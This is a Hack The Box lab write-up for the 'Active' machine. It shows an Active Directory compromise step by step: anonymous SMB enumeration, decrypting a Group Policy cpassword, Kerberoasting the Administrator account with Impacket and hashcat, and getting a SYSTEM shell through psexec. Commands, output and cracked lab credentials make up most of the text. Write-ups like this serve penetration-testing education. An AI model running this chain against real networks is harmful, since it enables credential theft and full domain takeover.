Active Writeup

Hack the Box

Matthias Penner, matthias.penner10@gmail.com

Synopsis

Active is an easy difficulty Active Directory machine which contains an SMB server hosted on port 445. This SMB server contains a share which can be read anonymously. This share contains a Group Permissions Policy file which discloses a user name for the ticket granting service account along with an encrypted password. Since this password is encrypted with a well known key, it can be easily decrypted. These credentials allow an attacker to perform a Kerberoast attack on the Administrator user in order to obtain their password hash. Once the hash has been cracked, the credentials can be used to obtain code execution on the box with full administrative access.

Enumeration

```
# Nmap 7.91 scan initiated Fri Jul 16 11:52:37 2021 as: nmap -p- -A -T5 -oA nmap/init
↪  10.10.10.100
Warning: 10.10.10.100 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.100
Host is up (0.050s latency).
Not shown: 65491 closed ports
PORT      STATE    SERVICE       VERSION
53/tcp    open     domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2
↪  SP1)
| dns-nsid:
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open     kerberos-sec  Microsoft Windows Kerberos (server time: 2021-07-16
↪  15:57:19Z)
135/tcp   open     msrpc         Microsoft Windows RPC
139/tcp   open     netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open     ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb,
↪  Site: Default-First-Site-Name)
445/tcp   open     microsoft-ds?
464/tcp   open     kpasswd5?
593/tcp   open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open     tcpwrapped
2951/tcp  filtered ottp
3268/tcp  open     ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb,
↪  Site: Default-First-Site-Name)
3269/tcp  open     tcpwrapped
5722/tcp  open     msrpc         Microsoft Windows RPC
9389/tcp  open     mc-nmf        .NET Message Framing
...
# Nmap done at Fri Jul 16 11:55:12 2021 -- 1 IP address (1 host up) scanned in 155.21 seconds
```

Enumerating SMB

The Nmap scan shown above reveals that port 445 is open, which suggests that this machine is hosting an SMB server. If anonymous login is allowed, public SMB shares can be an invaluable resource in the enumeration process. The next step would be to check if anonymous login is enabled and what shares can be accessed.

```
kali@kali:~/Documents/CTF/HTB/Machines/Active$ smbclient -L 10.10.10.100
Enter WORKGROUP\kali's password:
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        Replication     Disk
        SYSVOL          Disk      Logon server share
        Users           Disk
SMB1 disabled -- no workgroup available
kali@kali:~/Documents/CTF/HTB/Machines/Active$
```

Anonymous login was successful and it looks like we have some non-standard shares. The next step would be to enumerate which of these shares are accessible with anonymous login. To simplify this process, we will be using smbmap.

```
kali@kali:~/Documents/CTF/HTB/Machines/Active$ smbmap -H 10.10.10.100
[+] IP: 10.10.10.100:445        Name: active.htb
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    NO ACCESS       Remote IPC
        NETLOGON                                                NO ACCESS       Logon server
↪  share
        Replication                                             READ ONLY
        SYSVOL                                                  NO ACCESS       Logon server
↪  share
        Users                                                   NO ACCESS
kali@kali:~/Documents/CTF/HTB/Machines/Active$
```

Discovering `Groups.xml`

Smbmap revealed that the only share we have access to is the Replication share. Upon connecting to the share, we can enumerate further and find a file called `Groups.xml`.

```
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\>
↪  ls
  .                                   D        0  Sat Jul 21 06:37:44 2018
  ..                                  D        0  Sat Jul 21 06:37:44 2018
  Groups.xml                          A      533  Wed Jul 18 16:46:06 2018

                10459647 blocks of size 4096. 5693328 blocks available
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\>
```

This file seems like it could contain useful information, so we'll download it to our local kali machine.

```
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\>
↪  get Groups.xml
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\
↪  Groups\Groups.xml of size 533 as Groups.xml (2.6 KiloBytes/sec) (average 2.6
↪  KiloBytes/sec)
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\>
```

Obtaining Credentials

```
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User
↪  clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2"
↪  changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties
↪  action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA9
↪  8gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1"
↪  neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
```

Upon further inspection, we can see that the downloaded file is in fact a group policy preferences file. This XML file contains two vital pieces of information. The first is the variable `userName` which gives us a domain account by the name of `active.htb\SVC_TGS`. The second is the variable `cpassword` which contains what appears to be an encrypted password for the previously mentioned user. While the password may be encrypted, it is encrypted with a well known key. This means as an attacker we can easily decrypt the password. To do this, we will be using a tool called `gpp-decrypt`.

Decrypting the Password using `gpp-decrypt`

```
kali@kali:~/Documents/CTF/HTB/Machines/Active$ gpp-decrypt
↪  edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18
kali@kali:~/Documents/CTF/HTB/Machines/Active$
```

Obtaining the User Flag

With that we now have a set of credentials (active.htb\SVC_TGS:GPPstillStandingStrong2k18). If we run smbmap again but with the previously found credentials, we find that we now have read access to all the non-standard shares.

```
kali@kali:~/Documents/CTF/HTB/Machines/Active$ smbmap -u SVC_TGS -p
↪  GPPstillStandingStrong2k18 -d active.htb -H 10.10.10.100
[+] IP: 10.10.10.100:445        Name: 10.10.10.100
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    NO ACCESS       Remote IPC
        NETLOGON                                                READ ONLY       Logon server
↪  share
        Replication                                             READ ONLY
        SYSVOL                                                  READ ONLY       Logon server
↪  share
        Users                                                   READ ONLY
kali@kali:~/Documents/CTF/HTB/Machines/Active$
```

If we access the Users share, we can navigate to the SVC_TGS's desktop and find the user flag.

```
smb: \SVC_TGS\Desktop\> get user.txt
getting file \SVC_TGS\Desktop\user.txt of size 34 as user.txt (0.2 KiloBytes/sec) (average
↪  0.2 KiloBytes/sec)
smb: \SVC_TGS\Desktop\>
```

Kerberoasting

While these credentials did not provide us with a code execution, they will allow us to obtain a new set of credentials which we will be able to use to obtain a shell. We will do this by Kerberoasting the administrator user using `GetUserSPN.py` from Impacket and Hashcat. Kerberoasting is a post-exploitation attack whereby the Active Directory authentication system known as Kerberos creates a secure channel of communication between the attacker controlled user and a victim account. With

this channel of communication, the attacker can obtain the password hash of the user's account. After obtaining the hash, the attack can crack it using tools such as Hashcat or John the Ripper, providing the attacker with a new set of credentials. This is normally used during the internal portion of a penetration test as a lateral movement technique across different machines on the domain. In this case, we will be using it as a privilege escalation technique in order to obtain the credentials of the domain admin account.

```
kali@kali:~/Documents/CTF/HTB/Machines/Active$ GetUserSPNs.py
↪  active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12:
↪  CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team.
↪  Support for it is now deprecated in cryptography, and will be removed in the next release.
Impacket v0.9.23.dev1+20210504.123629.24a0ae6f - Copyright 2020 SecureAuth Corporation

ServicePrincipalName  Name           MemberOf
↪   PasswordLastSet             LastLogon                   Delegation
--------------------  -------------  --------------------------------------------------------
↪   --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb
↪   2018-07-18 15:06:40.351723  2021-01-21 11:07:03.723783



$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$5551bc6485205d8cfb95a9e2 ...
↪  40cc55cf715ee3a1014
kali@kali:~/Documents/CTF/HTB/Machines/Active$
```

Cracking the Hash

With this hash, we will place it in a file called `hash.txt` and proceed to crack it using Hashcat.

```
kali@kali:~/Documents/CTF/HTB/Machines/Active$ hashcat -m 13100 -a 0 hash.txt
↪  /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG)
↪  - Platform #1 [The pocl project]
=============================================================================================================
↪  ================================
* Device #1: pthread-Intel(R) Core(TM) i7-6700K CPU @ 4.00GHz, 1422/1486 MB (512 MB
↪  allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
```

```
Applicable optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced
↪  performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 134 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$5551bc6485205d8cfb95a9e27 ...
↪  cf715ee3a1014:Ticketmaster1968

Session..........: hashcat
Status...........: Cracked
Hash.Name........: Kerberos 5, etype 23, TGS-REP
Hash.Target......: $krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Ad...3a1014
Time.Started.....: Sun Sep 12 13:37:16 2021 (11 secs)
Time.Estimated...: Sun Sep 12 13:37:27 2021 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   961.2 kH/s (7.47ms) @ Accel:64 Loops:1 Thr:64 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 10551296/14344384 (73.56%)
Rejected.........: 0/10551296 (0.00%)
Restore.Point....: 10534912/14344384 (73.44%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: Tiona172 -> TUGGAB8

Started: Sun Sep 12 13:37:15 2021
Stopped: Sun Sep 12 13:37:29 2021
kali@kali:~/Documents/CTF/HTB/Machines/Active$
```

Obtaining Remote Code Execution and the Root Flag

We now have a new set of credentials (active.htb\Administrator:Ticketmaster1968) and can run `smbmap` and see what permissions we have.

```
kali@kali:~/Documents/CTF/HTB/Machines/Active$ smbmap -u Administrator -p Ticketmaster1968 -d
↪  active.htb -H 10.10.10.100
[+] IP: 10.10.10.100:445        Name: active.htb
[\] Work[!] Unable to remove test directory at \\10.10.10.100\SYSVOL\MQSHAXVORJ, please
↪  remove manually
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  READ, WRITE     Remote Admin
        C$                                                      READ, WRITE     Default share
        IPC$                                                    NO ACCESS       Remote IPC
        NETLOGON                                                READ, WRITE     Logon server
↪  share
        Replication                                             READ ONLY
        SYSVOL                                                  READ, WRITE     Logon server
↪  share
        Users                                                   READ ONLY
kali@kali:~/Documents/CTF/HTB/Machines/Active$
```

We can see that we have write permissions to multiple shares on the machine. We can utilize this in order to get code execution on the box. To do this we will use `psexec.py` to get a shell.

```
kali@kali:~/Documents/CTF/HTB/Machines/Active$ psexec.py
↪  active.htb/Administrator:Ticketmaster1968@10.10.10.100
Impacket v0.9.23.dev1+20210504.123629.24a0ae6f - Copyright 2020 SecureAuth Corporation
↪

[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
↪
[*] Uploading file CVntcKlG.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service wCvx on 10.10.10.100.....
[*] Starting service wCvx.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>
```

All that is left now is to get the root flag.

```
C:\Users\Administrator\Desktop>whoami && type proof.txt && ipconfig
nt authority\systemThe system cannot find the file specified.


C:\Users\Administrator\Desktop>whoami && type root.txt && ipconfig
nt authority\system
b5fc7**********************f708b

Windows IP Configuration


Ethernet adapter Local Area Connection:

   Connection-specific DNS Suffix  . :
   IPv4 Address. . . . . . . . . . . : 10.10.10.100
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.10.10.2

Tunnel adapter isatap.{B3FEC2C7-47CA-4014-A441-A3A5CDDC983C}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

C:\Users\Administrator\Desktop>
```